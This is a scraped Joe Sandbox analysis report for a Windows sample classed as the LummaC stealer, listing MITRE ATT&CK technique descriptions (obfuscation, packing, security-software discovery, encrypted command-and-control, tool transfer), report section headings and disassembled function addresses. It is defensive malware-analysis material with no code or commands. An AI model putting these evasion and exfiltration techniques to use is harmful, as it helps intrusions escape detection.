Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
file.exe

Function 00F850FA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 63
libraryCOMMON

Function 00F4FCA0 Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Function 00F4D110 Relevance: 1.7, APIs: 1, Instructions: 168
COMMON

Function 00F85BB0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Function 00F8695B Relevance: 1.4, Strings: 1, Instructions: 100
COMMON

Function 00F5049B Relevance: .3, Instructions: 264
COMMON

Function 00F50228 Relevance: .2, Instructions: 218
COMMON

Function 00F83220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Function 00F83202 Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON